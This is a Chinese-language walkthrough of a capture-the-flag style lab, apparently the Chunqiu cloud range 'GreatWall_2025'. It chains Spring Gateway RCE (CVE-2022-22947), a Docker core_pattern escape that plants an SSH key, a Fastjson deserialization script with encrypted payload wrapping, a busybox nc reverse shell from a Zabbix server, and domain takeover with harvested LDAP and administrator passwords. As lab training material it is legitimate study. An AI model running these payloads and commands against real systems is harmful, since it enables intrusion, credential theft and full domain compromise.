春秋云境-GreatWall_2025
字数 1883
更新时间 2026-01-05 12:09:02

春秋云境-GreatWall_2025 渗透测试实战教学文档

1. 外网信息收集

1.1 端口扫描

使用fscan工具对目标IP进行端口扫描:

./fscan -h 8.130.141.114

扫描结果:

  • 8080端口:开放(Spring服务)
  • 22端口:开放(SSH服务)
  • 80端口:开放(HTTP服务,政务服务平台)

1.2 漏洞识别

发现8080端口的Spring服务存在Gateway漏洞:

  • 漏洞接口:gateway/routes
  • 漏洞类型:CVE-2022-22947 RCE漏洞
  • 利用工具:https://github.com/0730Nophone/CVE-2022-22947-/blob/main/exp.py

2. Getshell阶段

2.1 内存马注入

通过Spring Gateway漏洞打入内存马,获取初始访问权限。

2.2 环境确认

发现容器环境特征:

  • 存在.dockerenv文件
  • 确认需要docker逃逸

3. Docker逃逸技术

3.1 CDK工具准备

由于文件上传大小限制,采用分割上传策略:

# 下载CDK工具
wget https://github.com/cdk-team/CDK/releases/tag/v1.5.5/cdk_linux_amd64_thin_upx

# 文件分割上传
split -b 100k cdk cdk.

# 目标机器重组
cat cdk.* > cdk
md5sum cdk        # 验证文件完整性
chmod 777 cdk     # 赋予执行权限

3.2 环境评估

执行CDK全面评估:

./cdk evaluate --full

关键发现:

  • 挂载点/host/proc/sys/kernel/core_pattern具有读写权限
  • 这是经典的容器逃逸利用点

3.3 逃逸实施

通过修改core_pattern实现宿主机命令执行:

# 创建SSH目录
./cdk run mount-procfs /host/proc/ "mkdir /root/.ssh/"

# 写入公钥
./cdk run mount-procfs /host/proc/ 'echo ssh-rsa [公钥内容] > /root/.ssh/authorized_keys'

3.4 SSH连接

使用私钥连接宿主机:

ssh -i id_rsa root@8.130.141.114

4. 内网渗透准备

4.1 持久化控制

  • 上线Vshell维持访问
  • 生成正向客户端监听8099端口
  • 启用socks5代理进行内网穿透

5. 内网信息收集

5.1 网络扫描

使用fscan扫描内网段:

./fscan -h 172.16.22.12/24

扫描结果:

  • 172.16.22.88:8080 - 政务内网资源下载
  • 172.16.22.12:8080 - 政务服务平台
  • 172.16.22.41:445 - 域控制器(DC:ZWFW\DC)
  • 172.16.22.14 - Apache服务

6. Fastjson反序列化漏洞利用

6.1 APK分析

  • 下载政务APP进行分析
  • 使用雷电模拟器(需关闭root权限)
  • 配置代理进行抓包分析

6.2 加密逻辑分析

通过JADX反编译APK,分析加密流程:

  1. AES加密

    • 生成128-bit AES密钥
    • 使用AES/GCM/NoPadding模式加密
    • 数据格式:IV(12字节) + 密文 + GCM Tag(16字节)
  2. RSA加密

    • 使用硬编码公钥加密AES密钥
    • 算法:RSA/ECB/PKCS1Padding
  3. 通信协议

    • Body:Base64编码的加密数据
    • Header:X-Encrypted-Key传递加密的AES密钥

6.3 漏洞利用

利用Fastjson反序列化漏洞:

import base64, os, requests
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes

URL = "http://172.16.22.88:8080/api/login"
RSA_PUB = "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnKum2FOeaPQumhLBpRauv+OMB6pkdqACjbZYkzzP8CZgjwEwmKauXLxzur1beldNDlVnUs83CnnvanPIYW3oP56t0SoqDmWviBTBJ2aCjtrztFYjBixZEYJ2Exp9f6cdFuSMiucPyuhwY8AuFWnGPJ3Mwt8L8ouV9Lc6Ptp67fCZ0aHr1BVu+pXvHVktbcmeCt+61dnyd9iXTDZfIQ9rwrDsTlkEYORN0hckpFWvgaoNXhXm60ioLkk/qtPZSjir0bpDL0w0iZ3+wRJLtUOe3KyGx+C00S5w2cM0Zw1XlmRQ08yj1nObVkaVsfEU8sSk/XFVnuCrO9YfQCa1uxm5ZQIDAQAB"

payload = '''{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://172.16.22.12:50388/931789","autoCommit":true}'''

# AES-GCM加密
aes_key, iv = os.urandom(16), os.urandom(12)
cipher = Cipher(algorithms.AES(aes_key), modes.GCM(iv)).encryptor()
ct = cipher.update(payload.encode()) + cipher.finalize()
body = base64.b64encode(iv + ct + cipher.tag).decode()

# RSA加密AES密钥
pubkey = serialization.load_der_public_key(base64.b64decode(RSA_PUB))
key_enc = base64.b64encode(pubkey.encrypt(aes_key, padding.PKCS1v15())).decode()

# 发送请求
r = requests.post(URL, data=body.encode(), headers={"Content-Type":"application/octet-stream","X-Encrypted-Key":key_enc})

6.4 内存马注入

通过代理执行利用脚本:

proxychains -q python3 exp.py

7. Zabbix渗透

7.1 服务发现

  • URL:http://172.16.22.14/zabbix/index.php
  • 默认凭证:Admin/zabbix

7.2 RCE利用

通过Zabbix后台执行命令:

# 反弹shell
busybox nc 172.16.22.12 5566 -e sh

# 监听端
busybox nc -lp 5566

# 建立交互式shell
script /dev/null -c bash

7.3 权限提升

查找SUID权限程序:

find / -type f -perm /u=s 2>/dev/null

利用ss命令读取文件(GTFOBins技术):

ss -a -F /flag.txt

7.4 数据库访问

Zabbix数据库凭证:

  • 用户名:zabbix
  • 密码:password

查询LDAP配置信息:

mysql -uzabbix -ppassword -e "select * from zabbix.userdirectory_ldap\G"

获取的域信息:

  • 域控制器:172.16.22.41
  • 域名:zwfw.com
  • LDAP管理员:CN=ldapadmin,OU=Zabbix,DC=zwfw,DC=com
  • 密码:XpVLGkQHm8

8. 域渗透

8.1 信息收集

使用BloodHound收集域信息:

proxychains bloodhound-python -u ldapadmin -p XpVLGkQHm8 -d zwfw.com -dc DC.zwfw.com -ns 172.16.22.41 -c all --auth-method ntlm --dns-tcp --zip

8.2 域控制器访问

通过WinRM登录域控制器:

proxychains -q evil-winrm -i 172.16.22.41 -u ldapadmin -p XpVLGkQHm8

8.3 最终权限获取

使用管理员凭证访问:

nxc smb 172.16.22.41 -u administrator -p a4Z6FcRYSp6LLSGO --codec GBK -x 'type C:\Users\Administrator\Desktop\flag.txt'

9. 技术要点总结

9.1 关键漏洞

  1. Spring Gateway RCE (CVE-2022-22947)
  2. Docker逃逸(core_pattern利用)
  3. Fastjson反序列化漏洞
  4. Zabbix默认凭证和RCE
  5. 域权限提升和横向移动

9.2 工具使用

  • fscan:内网扫描
  • CDK:容器逃逸
  • BloodHound:域信息收集
  • Evil-WinRM:Windows远程管理
  • Proxychains:代理穿透

9.3 防御建议

  1. 及时更新Spring Gateway组件
  2. 加强容器安全配置
  3. 修改默认凭证和密码策略
  4. 实施网络分段和访问控制
  5. 监控异常网络活动和文件操作

本教学文档详细记录了从外网信息收集到最终获取域控制权的完整渗透测试流程,涵盖了多种漏洞利用技术和工具使用方法。

相似文章
相似文章
 全屏